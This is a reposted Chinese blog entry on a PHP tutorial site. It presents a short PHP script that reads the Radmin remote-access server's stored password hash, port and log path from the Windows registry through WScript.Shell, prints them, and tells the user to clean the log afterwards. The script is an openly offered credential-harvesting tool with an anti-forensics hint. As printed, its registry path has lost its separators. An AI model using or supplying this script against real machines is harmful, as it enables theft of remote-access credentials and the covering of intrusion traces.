首页  >  文章  >  php教程  >  Radmin密码读取工具(php版)

Radmin密码读取工具(php版)

WBOY
WBOY原创
2016-06-13 10:33:451642浏览

孤水绕城’s Blog

应小猪大锅的要求写的一个脚本。很垃圾但是还算有用吧。

$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host");
$rootkey = "HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters";
$Parameter = "Parameter";
$Port = "Port";
$logpath = "LogFilePath";
$myparam = $shell->RegRead($rootkey.$Parameter);
$myport = $shell->RegRead($rootkey.$Port);
$path = $shell->RegRead($rootkey.$logpath);
echo "radmin hash is:";
foreach($myparam as $a){
echo dechex($a);
}
echo "
";
echo "radmin port is :".hexdec(dechex($myport[1]).dechex($myport[0]))."
";
echo "radmin log path is:$path
";
echo "please clean the log"
?>

声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn